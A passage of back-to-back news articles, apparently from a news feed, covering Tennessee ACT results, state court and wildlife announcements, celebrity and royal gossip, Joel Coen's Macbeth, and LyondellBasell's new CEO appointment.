showed a decline from 19.9 for the class of 2019-20 to 19.1 for the class of 2020-21. The ACT provides an opportunity for the state to understand students college and career readiness and how we are preparing the next generation to transition to post-secondary opportunities. Each fall, the department releases statewide ACT results for the most recent graduating class representing each students highest ACT score. The 2021 graduating class was most impacted by the global COVID-19 pandemic with regards to the ACT testing. T.C.A. 49-6-6001 requires all Tennessee public school students to take a postsecondary readiness exam, such as the ACT or SAT, in their junior year of high school. The opportunity allows students to maximize their potential to demonstrate postsecondary readiness, qualify for academic scholarships, and avoid remediation. Due to pandemic related school closures in Spring 2020, the Tennessee General Assembly enacted Public Chapter 652 in the 2020 legislative session to waive the ACT testing requirement for 11th grade students in the 2019-20 school year. Even with the requirements being waived and our districts, schools, and students having faced so many challenges this school year, we are proud to have achieved a 96 percent participation rate on the ACT for the 2020-21 school year- one of the highest in the country during this period, said Commissioner Penny Schwinn. While we know the effects of the pandemic are still being felt, especially by this class of students, we are proud of the collective efforts to ensure our students have every opportunity to be prepared for and take the ACT. We know Tennessee will continue to increase participation in college readiness testing to ensure our students are post-secondary ready. The department remained focused on ensuring college and career readiness for all students, despite the challenges posed by the pandemic by providing several additional opportunities for students to take the ACT and for schools and districts to maximize participation: Offered districts the ability to register students to take the ACT on national test dates at no cost to the student for all students to participate in the ACT on national test dates during the summer and fall of 2020 and spring of 2021 Collaborated with ACT to expand testing sites on national test dates during the fall of 2020 Offered the opportunity during the in-school testing dates in spring 2021 (normally reserved for juniors) to test seniors who missed the previous ACT testing opportunities These efforts significantly improved the participation rate for the 2021 graduating class and brought the ACT participation rate to 96 percent, one percentage point shy from the prior years participation rate. Across the state, 17 districts had a participation rate of 100 percent, and only five districts had a participation rate lower than 90 percent. Access the 2020-21 ACT participation rates and composite scores data here, under the Additional Data heading. District highlights: Williamson County had the highest percent of students meeting the overall ACT composite benchmark of 21 (77 percent), followed by Germantown (71 percent) and Collierville (66 percent). Clay County (a distressed county) demonstrated the highest growth in percent of students meeting the overall ACT composite benchmark of 2123 percent points growth (48 percent of the 2021 graduating cohort vs. 25 percent of the 2020 graduating cohort), followed by Union City (12 percent points growth), and Houston County (11 percent points growth). Were very proud of our students, families, and teachers for having two-thirds of our students score a 21 or above on the ACT, said Gary Lilly, director of Schools, Collierville Schools. It has been a challenging couple of years, but our students have proven resilient. This milestone continues to demonstrate the commitment of our community, which values the importance of educational opportunities for our students. We are excited by the level of achievement our students have attained and look forward to celebrating their future successes. The ACT is part of the culture of Union City Schools, said Wesley Kennedy, director of Schools, Union City Schools. We make sure students know and understand the financial benefits of a 21+ ACT along with the options it gives you later in life. We believe that great ACT scores begin in PreK not in high school. Early literacy, early math foundations, and an early love for learning is key to high ACT scores. We are blessed with a faculty and staff from PreK through 12th grade that works tirelessly for our students future; they believe in our students and expect high ACT scores. We are always trying to improve our ACT scores and that means always evaluating what and how you are teaching PreK through 12. We believe that the scope of a students entire educational experience plays a vital role in preparation for the ACT, said Jason Manuel, director of Schools, Germantown Municipal Schools. Our teachers use a targeted approach to identify students who will benefit from the Preparing for ACT, Postsecondary, and Career course, as well as additional supports. It is important to identify all students who are scoring in the 16-20 range quickly to provide these interventions. On average, GMSDs efforts yielded a 2-point gain for the students who were targeted. Our teachers and staff are all active participants in creating a culture of ACT awareness and emphasizing why the ACT is important for students. We are extremely proud of the work completed to result in 99 percent participation by last year's seniors in spite of the pandemic barriers. Members of the Class of 2021 should be celebrated for their accomplishments on the ACT. The pandemic disrupted their testing opportunities more than any other, and yet, 77 percent of them scored a 21 or better, with a Class of 2021 average of 24.9, said Jason Golden, director of Schools, Williamson County Schools. While they should have tested during the spring of their junior year, the pandemic postponed that opportunity until the fall of their senior year, and then, they had to depend on a national testing site for their senior retake. The fact that this group persevered through those disadvantages along with all the other pandemic-related instructional challenges is nothing short of impressive. "We are proud of the work our students and teachers have put in to drive this high growth, said Kris McAskill, director of Schools, Houston County Schools. In particular, our ACT prep teachers and motivated 12th-grade students worked diligently during our new skinny block time in the nine-week period leading up to the ACT retake. We are very happy that our students will reap the benefits of their hard work." The department uses students' best ACT score, meaning that if a student took the ACT multiple times, the score included in the finalized data reflect the students highest score. During the 2020-21 school year, 64 districts submitted a total of 2,929 appeals, which was 2.6 times more than the number of appeals submitted in 2019-20. ACT results serve as a nationally-normed measure to indicate college and career readiness. Under Tennessees accountability model, earning a 21 on the ACT is one of the four ways that students can indicate that they are prepared for life after high school and a seamless entry into postsecondary education, the workplace, and the military. In partnership with the University of Tennessee, Martin, the department continues to offer free ACT prep workshops for students and educators. Learn how to take advantage of these free resources here. To learn more about college readiness testing in Tennessee, click here. The Tennessee Supreme Court announced Wednesday that Deputy Director Michelle Long will become the next director of the Administrative Office of the Courts. Ms. Long was appointed deputy director in 2019 and has over 25 years of experience in private practice, government, and in-house counsel offices. Current AOC Director Deborah Taylor Tate announced earlier this month that she will be leaving the AOC in early 2022. Since she began at the AOC, Michelle has been impressive in every way, Chief Justice Roger Page said. Her calm and disciplined leadership style is a perfect fit for the judiciary and her vast knowledge of the workings of Tennessee state government was invaluable during the pandemic. She has the perfect mix of skills to lead the AOC as the courts continue to modernize and evolve. The mission of the AOC is to promote the effective and efficient administration of justice in the state of Tennessee. Over the past several years, the court system has made steps in modernizing by making investments in infrastructure and technology as well as new and expanded education programs and approaches to court services like court reporters, mediation, interpreters, and diversion programs. The opioid epidemic and the COVID-19 pandemic, both of which have impacted every court in the state, pushed many courts to pivot and innovate further to effectively deliver needed services to their constituents. The expanded utilization of diversion programs, including the development of Safe Baby Courts and creation of alternatives to traditional drug recovery courts, the implementation of time and cost-saving virtual proceedings, and the expanded collection and dissemination of data has created a seismic shift in the administration of justice in the state. Each role Michelle has held both in her public and private positions prepared her to be the chief executive officer of the Tennessee judiciary at this moment in time Director Tate said. She arrived just as COVID hit and was instrumental in working with the executive branch to enable a nimble and extraordinary response to this global pandemic. She also led the AOC through its first ever strategic planning initiative and now leads the ongoing systemic response to the impact of COVID upon our courts at every level. She has been an extraordinary partner at the AOC and in many different roles throughout our professional careers and is the perfect choice to lead the court system in these continued challenging times. Prior to joining the AOC, Ms. Long served as the assistant commissioner of the Division of Health Licensure and Regulation for the Tennessee Department of Health for seven years. She provided executive leadership in all aspects of licensure, discipline, and regulation of over 350,000 health care professionals in the state. She directed several critical information technology projects, including replacement of the licensure database and increased utilization of the Controlled Substance Monitoring Database to better track and monitor prescribing and dispensing in the state. Previously, Ms. Long served as senior vice president and general counsel for the Tennessee Hospital Association, the executive director of the Tennessee Alcoholic Beverage Commission, and Legal Counsel to former Governor Don Sundquist. The AOC was not Ms. Longs first interaction with the judiciary. In 2015, she was appointed by then Governor Bill Haslam to the Governors Council for Judicial Appointments, which recommends candidates for the appellate courts, the Workers' Compensation Appeals Board and the Tennessee Claims Commission. "I have always believed it is a privilege to be entrusted to serve the citizens of Tennessee, Ms. Long said. But, as an attorney, it is an absolute honor to now serve the Tennessee Supreme Court and all courts across the state, as we serve hundreds of thousands of Tennesseans who rely upon our courts to seek justice, have disputes resolved, and receive other assistance when in need. Over the past two years, I have seen up close the innerworkings of the judicial system and I have the utmost respect for everyone involved. I look forward to working with great people to turn every challenge into an opportunity to improve and thrive. The AOC supports a state court system that has over 700 employees and a budget of over $170 million. Ms. Long will provide direct oversight to six divisions within the AOC, including Access, Innovation and Community Engagement; Communications and Judicial Resources; Fiscal Services; Information Technology Services; Intergovernmental Affairs; and Legal Services and Judicial Development as well as supporting multiple boards and commissions. The AOC provides essential education and resources to every judge, court employee, court clerk, and mediator in the state as well as attorneys and the general public. Ms. Long earned her law degree from the University of Tennessee and her bachelors degree in economics from Northwestern University. She will begin her new position on Feb. 1, 2022. The U.S. Department of Energy (DOE) on Wednesday signed an Agreement in Principle with the Tennessee Wildlife Resources Agency (TWRA) that lays the groundwork to transfer more than 3,500 acres of scenic East Tennessee land to the state. Transferring this federally owned land will increase natural resource management and designate areas for greenspace and mixed-use recreational opportunities for the public, officials said. Conservation of this essential piece of the East Tennessee landscape is vitally important. I am grateful for the partnership between the Department of Energy and the TWRA that will make this possible, said Lieutenant Governor Randy McNally. This agreement will cultivate collaboration and support the long-term vision of creating an asset for the community and the region, he said. The East Tennessee region is unique, and we are pleased to be working together with DOE on these property transfers that will allow us to expand our services in the area, said Bobby Wilson, TWRA executive director. We will be able to increase recreational opportunities, prioritize wildlife habitat management, and introduce new programs that will benefit both the community and the environment. DOE and TWRA will complete the transfer process under federal law, which requires regulatory approvals and generally takes one to three years to complete. This partnership between DOE and TWRA is an excellent opportunity for both organizations to act as one in preserving areas of the Oak Ridge Reservation, said Johnny Moore, manager of DOEs ORNL Site Office. Were pleased to be part of an effort to expand access to the outstanding natural assets we have. Once complete, the community will have greater connectivity to the regions abundant natural assets. The ultimate vision is to provide open spaces where residents and visitors can experience and enjoy nature. The terrain of these areas offers abundant opportunities for fishing, hunting, boating, hiking, birding, mountain biking, and wildlife viewing, it was stated. This is an exciting step forward in our efforts to transfer land that can be reused and benefits the community, said Laura Wilkerson, acting manager for DOEs Oak Ridge Office of Environmental Management. Our program has always focused on advancing conservation and sustainability, so finding new and diverse opportunities to connect people with the environment is a great achievement. I want to thank our contractor partner, UCOR, for their incredible support and helping bring this agreement to fruition. The agreement is a component of a larger effort by DOEs Oak Ridge Office of Environmental Management and its cleanup contractor UCOR to transform the East Tennessee Technology Park into a multi-use industrial park for the community. To date, DOE has transferred nearly 1,300 acres to attract new economic development, constructed facilities that share the sites unique history, and set aside thousands of acres for conservation. That latter will be under the watch of TWRA through these future transfers. DOEs Oak Ridge Reservation is located on approximately 32,000 acres in East Tennessee. It lies within the Great Appalachian Valley of East Tennessee between the Cumberland and Great Smoky Mountains, and it is bordered by the Clinch River that ultimately joins the Tennessee River. Since the 1940s, the site has played a vital role in energy, technology, and defense missions worldwide, it was noted. For the first time since the 1960s, Cutthroat Trout are being stocked into Tennessees waterways to provide anglers with the opportunity to catch a different trout species at a few locations. On Wednesday afternoon, 2,550 Cutthroat Trout were released into the upper portion of Fort Patrick Henry Reservoir on the Holston River below Boone Dam. Last week, 3,000 cutthroats were also stocked into the Hiwassee River, and there are plans to release 2,250 more into the Tims Ford tailwater on the Elk River in the coming months. These cutthroats are of the Snake River fine-spotted Cutthroat Trout strain and were provided through a partnership with the U.S. Fish and Wildlife Service. The fish were hatched and raised at the Dale Hollow National Fish Hatchery and were recently transferred to the TWRA Flintville Hatchery. Hatchery trucks delivered the fish to the TWRA Smith Shoals Access Area where they were released into the Holston River by wildlife technicians and fisheries biologists. On the Hiwassee River, they were stocked at multiple locations in the delayed harvest section of the river. Cutthroat Trout regulations at Boone and Tims Ford fall under statewide regulations of seven trout daily creel limit in combination with other trout species and with no minimum length limit. Currently, the cutthroats on the Hiwassee River from the Apalachia Powerhouse downstream to the L&N Railroad Bridge fall under the delayed harvest regulation and must be released. However, from March 1 through Sept. 30, there will be a daily creel limit of seven trout in combination with other trout species and no minimum length limit. For more information on trout fishing in Tennessee, visit: https://www.tn.gov/twra/fishing/trout-information-stockings.html Below Deck fans shouldnt count out Kate Chastains return just yet but she just wont be putting on a skort and serving cocktails. In fact, Chastain recently mused with Showbiz Cheat Sheet about someday returning to the show as a charter guest, a role she would enthusiastically love to explore. I think it would be great, she said. Believe it or not I think it would be fantastic if I was a charter guest. In the past, Captain Lee Rosbach recalled how he thought Chastain actually was a charter guest when he first met her so maybe now is the perfect time for her to take on the role? Kate Chastain would love to visit all three Below Deck shows Chastain wouldnt limit her voyages to just Rosbachs charter. She also wants to be a guest on Below Deck Sailing Yacht and Below Deck Mediterranean. Everyone! she said about which series shed want to appear on. Its a win-win! Kate Chastain from Below Deck appeared on WWHL during the holidays |Bravo/NBCU Photo Bank You know, I just feel like because I worked in the service industry for so long, I am the most polite, good tipper when I go out, she added. Now, if this service is horrible, I feel bad for who Im dining with because then as they walk away, Im like This is not up to par. I cannot believe they did this. But when they come back Im so nice, right? But, I mean, yes I still know what it feels like. Kate Chastain may find it tough to be in front of the bar instead of behind it Needless to say, any Below Deck crew, especially the interior team, would have some serious jitters if Chastain and her friends were the guests. And they should be on their A-game for good reason because Chastain and her friends would instantly know when someone is cutting corners. RELATED: Below Deck: Courtney Skippon Explains Why Espresso Martinis Are So Popular on the Show My friends would be like, Theyre cutting corners, theyre cheating. They should have done this. But no, honestly, its like muscle memory, she said. Whenever I get on a boat, I mean, Im in Fort Lauderdale, theres boats everywhere. It doesnt matter how big or small the boat is. Its like muscle memory. I start just like, OK, lets make some cocktails! Who wants a Bacardi? You want a Bacardi! And the stews are like, Maam, we can do it for you.' She could be a Below Deck charter guest but old habits die hard Chastain recalled being in Greece on Below Deck Sailing Yachts Parsifal III, ironing her own pants, and putting a Captain Lee style crease in them out of pure habit. I went to Greece and visited Parsifal III, she recalled. And its different, the sailing yacht. Its actually a much smaller interior space because its all deck space. So there was like nowhere to hide. I found myself in the laundry room, ironing my own linen pants that I was going to change into. To the point where I made a crease in the front like I was doing Captain Lees. And it is just a place like this is where I feel safe. Im on a boat. I dont know what to do, so when in doubt, iron pants! I didnt want a front crease in my linen resort wear pants. I had to re-iron them out! But yeah, I think I would be a great charter guest because I cant turn it off. RELATED: Jemele Hill Compares Below Deck Med Season 6 to Below Deck Season 7: Captains, Casts and That $20,000 Tip So does Chastain think she could actually sit back and let the crew wait on her? She laughed, I mean I think I could get the hang of it pretty quickly. But at first, it might take a minute. But theres one thing Chastain would definitely require on her yacht vacation Barcardi Spiced Rum. She recently partnered with the brand and shared on Instagram: Who needs a yacht? #BacardiSpiced is the best of the best, which makes me feel like a Primary Charter Guesteven on land. ARTICLE HIGHLIGHTS Derick Dillard opened up about his father-in-law Jim Bob Duggar like never before in a recent Facebook post. Not only did he call him verbally abusive and a lair, he also claims that his manipulation has resulted in what is akin to human trafficking. The revelations were posted on the same days as Jim Bobs Arkansas senate primary. Jim Bob and Michelle Duggar | Brendan Hoffman/Getty Images Derrick Dillard, former Counting On star and husband of Jill Duggar, is calling out his father-in-law, Jim Bob Duggar. In the wake of Josh Duggars guilty verdict in his child pornography case and on the day of Jim Bobs Arkansas senate primary Derick took to social media to let people know that Jim Bob cant be trusted. Derick Dillard responded to a post from Jim Bob Duggars former best friend On Tuesday, December 14, a special primary was held in Arkansas State Senate District 7 after Republican Lance Eads left the seat vacant to assume another position. There were six candidates in total, four on the Republican side and two on the Democrat side. And one name on the ballot was recognizable to Counting On fans. Duggar was one of the four Republican candidates running for the chance to face off against the winner of the Democrat ticket in the general election in 2022. The winner of that election will be the next Arkansas state senator in district 7. Election day in Arkansas meant a lot of social media activity from the candidates and their supporters. But what came as a surprise was a warning from both Jim Bobs former best friend Jim Holt and his son-in-law Derick Dillard. Jim Holt says Jim Bob Duggar lied to him about Josh Duggar Former Arkansas state senator Jim Holt took to Facebook on election day to let his friends know that he wasnt going to endorse a specific candidate in the race. But, he did let everyone know that Jim Bob would not be getting his vote. And, he also accused the former 19 Kids & Counting star of committing perjury during Joshs evidentiary hearing. I can say this, and it hurts me to say: Jim Bob Duggar lied to me about the truth of his son when asking to court our daughter, Holt wrote. It was clear he perjured himself on the witness stand at the evidentiary hearing on November 29, 2021. Holt explained that Jim Bob said during his testimony that Bobye Holt was a past elder at their church between 2003 and 2006. However, the church never had women elders ever before 2006. Jim Bob was always conservative in many areas when I served with him from 2001-2002. The problem I have isIf he lied to his BEST FRIEND and he lied UNDER OATH, will he lie to YOU? Judge Wisely, Holt wrote. Derick Dillard accuses his father-in-law of lying, manipulation, and deceit Jim Holts post was shocking, but its in line with what his wife Bobye testified to in court. Bobye Holt told the judge and the jury about Joshs youngest victim a five-year-old Joy-Anna Duggar. She also claimed on Facebook that she repeatedly tried to turn Josh into the authorities, but never had any success. Jim Bob was always trying to protect his son at the expense of his daughters and Joshs other victims. In response to Jims post, former Counting On star Derick Dillard chimed in and took the claims against his father-in-law to another level. He wrote that Jims story was sad, but it wasnt an isolated incident. I used to have much respect for Jim Bob, as my father-in-law, and I wanted to give him the benefit of the doubt for years, Derick wrote. Unfortunately, its only become clearer to us over time just how deep this mans manipulation and deceit will go for his own gain, at the expense of others. Jill Duggars husband says Jim Bob Duggar is verbally abusive Derick continued, writing that Jim Bob has lied to both him and Jill on numerous occasions. The father-of-two said that Jim Bobs real beliefs are contrary to what hes been preaching during his political campaign. Instead of believing in freedom, Derick says that Jim Bob is manipulative and abusive. Contrary to his campaign, he [Jim Bob] does not believe in freedom, but his manipulation has resulted in what is akin to human trafficking. When confronted privately, he is not humble, but he is defensive and verbally abusive, Derick wrote. Derick Dillard calls his father-in-law a liar Derick also addressed Jim Bobs campaign promises, saying that he has a history of being a sellout to anything he can personally profit from and he will justify it. Even though the father of 19 told voters he cant be bought. When he wrapped up his comment, Derick warned Arkansas voters about Jim Bobs inability to tell the truth. He also endorsed Jim Bobs opponent, Colby Fulfer. If he has lied, and continues to lie to his best friends and his own family, will he lie to you? Derick asked. Derick also reposted Jim Holts comments about Jim Bob Duggar, and added, This is telling, coming from former Senator Jim Holt! He knows what hes talking about. RELATED: Jim Bob Duggars Campaign For Arkansas State Senate Seems Doomed From the Start Kate Middletons coats are just one part of her very large and expensive wardrobe. The Duchess of Cambridge has steadily added to her closet since officially joining the British royal family in 2011. Oftentimes Kate repeats outfits but she also makes statements with her outerwear. Without further ado, here are some of Kates most statement-making coat moments. 1. Kate stood out with a red and white coat in 2018 Prince William and Kate Middleton | Samir Hussein/Samir Hussein/WireImage Perhaps taking a cue from Queen Elizabeth II who favors bold colors, Kates coat made it easy to spot her in a crowd during a 2018 visit to Sweden and Norway. While the now-39-year-old may have been sporting the colors of the Norwegian flag despite being in Stockholm, Sweden, she still made a statement with her coat as she said hello to children. 2. Kates coat channeled Princess Diana (L-R): Kate Middleton in 2006; Princess Diana in 1993 | Tim Graham Photo Library via Getty Images Long before saying I do to Prince William five years to be exact and four years before getting engaged in Kenya, Kate made a nod to Princess Diana. In December 2006 when she was still Williams girlfriend, the now-mother of three attended festivities at Sandhurst Military Academy. She watched as William became an officer during a parade and swearing-in ceremony in Surrey, England. Kates red coat and black hat, from the color to the shape, were reminiscent of an outfit once worn by her late mother-in-law. This wasnt the first or the last time Kate dressed like Diana. Shes made subtle nods to Dianas style as well as more obvious tributes on many occasions over the years. 3. Kate wore a plaid trench coat to a movie screening What says Scotland more than plaid? Kates coat at a drive-in screening of Disneys Cruella in May 2021 almost made for a splash than the car she and William arrived in. The Duke and Duchess of Cambridge showed up to the screening to honor Scottish health workers in a Land Rover that was once owned by Williams grandfather, Prince Philip. 4. Kate wore a festive coat to a Christmas carol service Kates bow-adorned red coat brought extra holiday cheer during a special outing in December 2021. The Duchess of Cambridge hosted Together at Christmas, a carol service filmed at Westminster Abbey, which is set to air in the U.K. on Christmas Eve. Kate wore a coat from designer Catherine Walker, according to Elle. She also included a message in the program. Held to thank those who have helped their communities during the coronavirus (COVID-19) pandemic, the concert was a family affair. Kates parents were there along with her brother, sister, and sister-in-law. 5. Kates blue coat made a statement in Northern Ireland Another day, another bold coat from the Duchess of Cambridge. In February 2019, Kates coat did all the talking. She wore a blue cape coat and matching accessories for a walkabout with William. Once again she appears to have followed Queen Elizabeths lead opting for statement-making outerwear that makes her easy to spot. RELATED: Meghan Markle Found 1 Narrative About Her Clothes Personally Frustrating Prince Harry and Meghan Markle were selected among Time magazines 100 most influential people in 2021. The pair were named icons on the annual list and appeared on the cover of the publications September issue. Now, the Duke and Duchess of Sussex just made another list and beat out Prince William and Kate Middleton for the top spot. Prince William, Kate Middleton, Meghan Markle, and Prince Harry attend Christmas Day Church service | Stephen Pond/Getty Images The title Prince Harry and Meghan Markle now have In the months following Meghan and Harrys bombshell announcement that they were stepping down as senior royals, the pair bid their farewell to Instagram and stopped posting. Despite their absence from social media, the Sussexes still generated more hashtags on Instagram than any other royal couple including William and Kate. The Express noted that Harry and Meghan garnered more than 2.4 million Instagram hashtags for the year beating the 2.2 million the Cambridges generated, giving the Sussexes the title of most photogenic royal couple. The data was compiled by Printique and photography experts looked at Instagram hashtags for 24 of the most popular royal couples around the world. Queen Elizabeth II and her late husband Prince Philip came in third place with 1.5 million hashtags just ahead of Prince Charles and the late Princess Diana with 1.2 million. The Prince of Wales and his current wife, Camilla, occupy the fifth spot with 362,640 hashtags. Royal couples are a source of fascination all over the world, and this data shows just how much online influence they can command, a spokesperson for Printique said. Prince Harry and Meghan Markle are an absolute global sensation, from their charity work and commitment to making the world a better place to their fashion sense and style. The fact that this royal duo pulls in the most Instagram hashtags combined is a testimony to their powerful influence all around the world. Kate is the most photogenic individual royal Kate Middleton smiling as she arrives at the Together at Christmas community carol service | Samir Hussein/WireImage Others royals across the globe who were part of the rankings include Prince Albert and Princess Charlene of Monaco who nabbed sixth place, and King Felipe and Queen Letizia of Spain followed next with just over 102,000 hashtags. Harry and Wiliams royal cousin, Princess Eugenie, and her husband Jack Brooksbank ranked after that with 88,000 hashtags, as her sister, Princess Beatrice, came in a few spots behind her with 68,000. Prince Edward, and his wife Sophie, Countess of Wessex, also found themselves in the top 10, with over 78,000 hashtags. While Meghan and Harry have the most photogenic royal couple crown, the data for most photogenic individual royals shows that the Duchess of Cambridge has everyone beat. Kate easily gets the title of the most Instagrammable royal woman ever as she generates 1.3 million hashtags herself. Meghan is the most-Googled royal Meghan Markle smiling on the carpet at the 2021 Salute To Freedom Gala | Dia Dipasupil/Getty Images An individual title Meghan received in 2021 is that of most-Googled royal. Although her popularity has dipped in the U.K., Ahrefs.com reported that the Duchess of Sussex is the most-searched royal on both sides of the pond. The name Meghan Markle gets Googled about 1.1 million times in the U.K. alone every month. And Meghans husband is the second most-searched royal as Prince Harry gets searched around 579,000 times every month. Kate falls behind the Sussexes with an average of 380,000 searches per month. RELATED: How Prince William and Kate Middleton Will Be Extending an Olive Branch to Prince Harry and Meghan Markle This Christmas The Coen brothers are a legendary filmmaking duo made up of Joel and Ethan Coen. The upcoming The Tragedy of Macbeth is a theatrical adaptation of William Shakespeares Macbeth. This marks Joels first directorial effort without his brother, Ethan. Joel recently opened up in an interview about why they split ways for The Tragedy of Macbeth and if they will ever work together again. Coen brothers movies before The Tragedy of Macbeth L-R: Joel Coen and Ethan Coen | Gareth Cattermole/Getty Images for BFI The Coen brothers works span across several genres, although they typically turn those genres upside down. Their work has earned them 13 Academy Award nominations thus far. The Coen brothers most acclaimed works include Raising Arizona, No Country for Old Men, Fargo, The Big Lebowski, True Grit, among others. They have also written several films that they didnt direct, including 2015s Bridge of Spies. Together, the Coen brothers won a few Oscars. They brought home the Oscar gold for Best Original Screenplay for Fargo. They also won Best Director and Best Adapted Screenplay for No Country for Old Men. However, The Tragedy of Macbeth has plenty of awards buzz, which could mark another landmark for Joel. The Coen brothers split ways on The Tragedy of Macbeth Denzel and Frances star in Joel Coens The Tragedy of Macbeth. Opening Night of the 59th New York Film Festival #NYFF59 pic.twitter.com/MlMMotHpnd A24 (@A24) July 22, 2021 The Guardian interviewed Joel to discuss The Tragedy of Macbeth. He explained some of the creative decisions he made in adapting Shakespeares work. Joel also talked about the experience of working on The Tragedy of Macbeth without his brothers filmmaking partnership. Very strange, Joel said. I missed him. Thats the bottom line. Of course, I missed him. Ive worked with him for over 35 years, and if ever there was a problem on set we would look at each other first. But this isnt a movie that would have interested him. I had a personal interest in it and he didnt. The Guardian asked Joel if this split is permanent or if theres a possibility that they will work together again in the future. Look, heres the thing, Joel said. When we started working together, we never asked ourselves if this was permanent, and we dont think about this in that way, either. We just thought we should do some different things for a while. But I could get hit by a bus tomorrow. Im in my late 60s. Hopefully, I can do this for a while but who the f*** knows? Where can I see The Tragedy of Macbeth? The Tragedy of Macbeth is getting plenty of awards buzz. Denzel Washingtons performance. Some audiences are wondering how they can watch the upcoming Shakespeare film adaptation. The Tragedy of Macbeth is starting with a theatrical release on Dec. 24, which is just in time for holiday moviegoing. However, the A24 movie will be streaming on Jan. 14 through Apple TV+. RELATED: Why Cmon Cmon Star Woody Norman Says He Carried Co-Star Joaquin Phoenix Through the Whole Film Ana Navarro has been putting on a brave face on The View despite living through a sad time. The political commentator has been open about her mothers health after she was hospitalized. Navarro has been keeping her fans updated on her moms well-being for a couple of weeks. Sadly, Navarro gave another update and confirmed that her mother had died and dedicated beautiful words to her on Instagram. Ana Navarro | Lorenzo Bevilaqua/Disney General Entertainment Content via Getty Images Ana Navarro shares tribute to mother following news of her death Navarro opened up about her mother after she confirmed her mother had died. The View co-host shared an Instagram post paying tribute to her mom and being grateful for the time she spent with her. I wish youd been able to enjoy health & your family longer. As your youngest, Im grateful for the 50 yrs of unconditional love and support you gave me. Go in peace. Well look after dad. Hug my brother for me, Navarro posted. Ill miss u always. Until we meet again. The political commentator shared that her mom died the previous night at the age of 81. Navarro wasnt able to visit her mother in Nicaragua because the dictator there has denied entry to media and jailed many of his critics, she wrote and added, My parents asked me not to go in fear for my safety. My dad, the love of her life and her husband of more than sixty years, was with her when she passed, Navarro continued. Shes been very ill for 4 months. My family knew this was coming. I know theres many people going through the same long and painful goodbyes with their loved ones, and having to keep putting one foot in front of the other. I thought I was ready for this. I wanted her to rest and be free from suffering. Im not sure its possible to ever be ready to lose your parents. RELATED: The View Star Ana Navarro Celebrates Dads Birthday With Miracle On Her Moms Health Ana Navarro feels grateful and privileged Nobody is ever prepared to experience the death of a loving family member and experiencing it during the holidays is even more difficult. Despite the adversity, Navarro is holding strong and taking a philosophical approach. Im very sad. But I know it is a privilege to be able to bury your parents, not the other way around. I wish my mom had been in good health a little longer, she said. Wish she had gotten to hold her youngest great-granddaughter, born last month, and who is named Violet, after my mom. I also know I am among the lucky ones. I had a great mom for almost 50 years, I grieve because I loved. [Im] going to miss my mom but will carry her love and the lessons she taught me for the rest of my life. Navarro thanked everyone that prayed for her mom and sent her positive thoughts during these difficult moments. Last time I saw her smile was when I told her many people were praying for her. She was a woman of great faith. If there is a heaven, I know she is there, hopefully enjoying the company of those she loved who went before her, Navarro shared. Ana Navarro | ABC/Lou Rocco RELATED: The View: Ana Navarro Delivers Powerful Message About How to Deal With Body Shamers Ana Navarro gets support from celebrities After Navarros post, some of her The View co-hosts replied with messages of support. Sara Haines added praying hands and an emoji heart. Co-host Sunny Hostin added, Praying for you and yours my friend. Close friend Eva Longoria added heart emojis and Holly Robinson Peete said, Im so sorry my friend. Usain Bolt is one of the greatest Olympians of all time and is known everywhere as the Fastest Man in the World. His celebrity status has allowed him to meet plenty of other high-profile people including Prince Harry. Heres when the Duke of Sussex met Bolt and what the Olympian said about Meghan Markle and partying with the prince. Prince Harry gets running tips from Usain Bolt at The University of the West Indies in Jamaica | Julian Parker/UK Press via Getty Images How Bolt and Prince Harry met The royal and legendary sprinter first met in 2012 when Harry was visiting Jamaica to mark Queen Elizabeths Diamond Jubilee. The duo chatted for a while and competed in a race. However, Bolt said that Harry cheated and they needed a rematch. A few years later, Harry said he was ready to run against the Olympian again. Bolt told Hello! that he was prepared as well after Harry threw down the gauntlet. The athlete said: Im ready! Im ready because he got away last time. There was a lot written saying I got beaten, so I cant live that down. He cheated! They said, On your mark, [get] set and he just ran off. Prince Harry racing Usain Bolt on the Usain Bolt Track at the University of the West Indies | Chris Jackson/Getty Images What Bolt said about partying with Harry before his marriage to Meghan In 2017, Harry traveled to Jamaica again for a friends wedding and thats when Bolt met the princes then-girlfriend Meghan. The track and field star joked at the time about throwing a few bachelor parties for the royal. Im thinking about having three. My idea is to have one in Kingston, one in Vegas, and one in London, he said (per Smooth Radio). I know its a lot to ask but these are his last nights of freedom. I will personally call Meghan and take responsibility for getting him home safely after each. Those parties never happened but Meghan did receive Bolts stamp of approval as he called her a really nice girl. However, he did express some disappointment about not hanging out with Harrys ahead of his big wedding saying: Im sorry I didnt get to party with him before. Harry did party with another Olympic gold medalist Swimmer Ryan Lochte poses for a Team USA portrait | Harry How/Getty Images So while the Duke of Sussex and the Fastest Man Alive didnt party together, Harry did hang out with another Olympic gold medalist during a trip to Las Vegas. In 2012, Prince Harry attended the MGM Grand Wet Republic pool party hosted by Jennifer Lopez. The New York Daily News noted that Harry was seen drinking it up with a number of bikini-clad women and decided to challenge Olympian Ryan Lochte to a race in the water. That took place just before other photos of Harry playing naked billiards in his hotel room were published all around the globe. RELATED: Who Is Usain Bolts Girlfriend Kasi Bennett? LyondellBasell announced that the Board of Directors has appointed Peter Vanacker, President and CEO of Neste Corporation, as its new Chief Executive Officer. Mr. Vanacker succeeds Bhavesh V. "Bob" Patel, who will retire from the Company on December 31, 2021, as previously announced. Mr. Vanacker will assume his role no later than June 2022, upon satisfaction of the notice period under his current employment agreement, at which time he will also join the Company's Board of Directors. The Board also announced that Kenneth (Ken) Lane, executive vice president, Global Olefins & Polyolefins (O&P) for LyondellBasell, will serve as interim CEO upon Mr. Patel's retirement. "Peter's outstanding leadership and industry experience made him the Board's choice in an exceptional field of candidates who were considered as part of the comprehensive search process," said Jacques Aigrain, Board Chair. "The Board is confident that his success in delivering value to shareholders, along with his strategic and forward-thinking mindset, will serve the Company well as we continue to drive growth and advance our climate and circularity goals." Mr. Vanacker brings more than 30 years of industry experience to his new role, including serving as President and CEO of Neste, an industry-leading renewable products company that has seen substantial growth and transformation under his leadership since 2018. Prior to that role, Mr. Vanacker was CEO and Managing Director of the CABB Group, a leader in the fine chemicals global market, and he was CEO and Managing Director of Treofan Group, a global leader in the polypropylene films business. He previously had a succession of roles at Bayer AG, including as EVP and Head of the Global Polyurethanes business and member of the Executive Committee of Bayer Material Science, now Covestro. During his tenure with Bayer, Peter worked across various subsidiaries, including in Belgium, Brazil, Germany and the United States. He is the Chair of the Advisory Board for the European Institute for Industrial Leadership and a member of the Supervisory Board of Symrise AG. "I am thrilled to join LyondellBasell at such an exciting time for the Company," said Mr. Vanacker. "I have long admired it as an industry leader in technology, product innovation and, more recently, circularity. Pulling 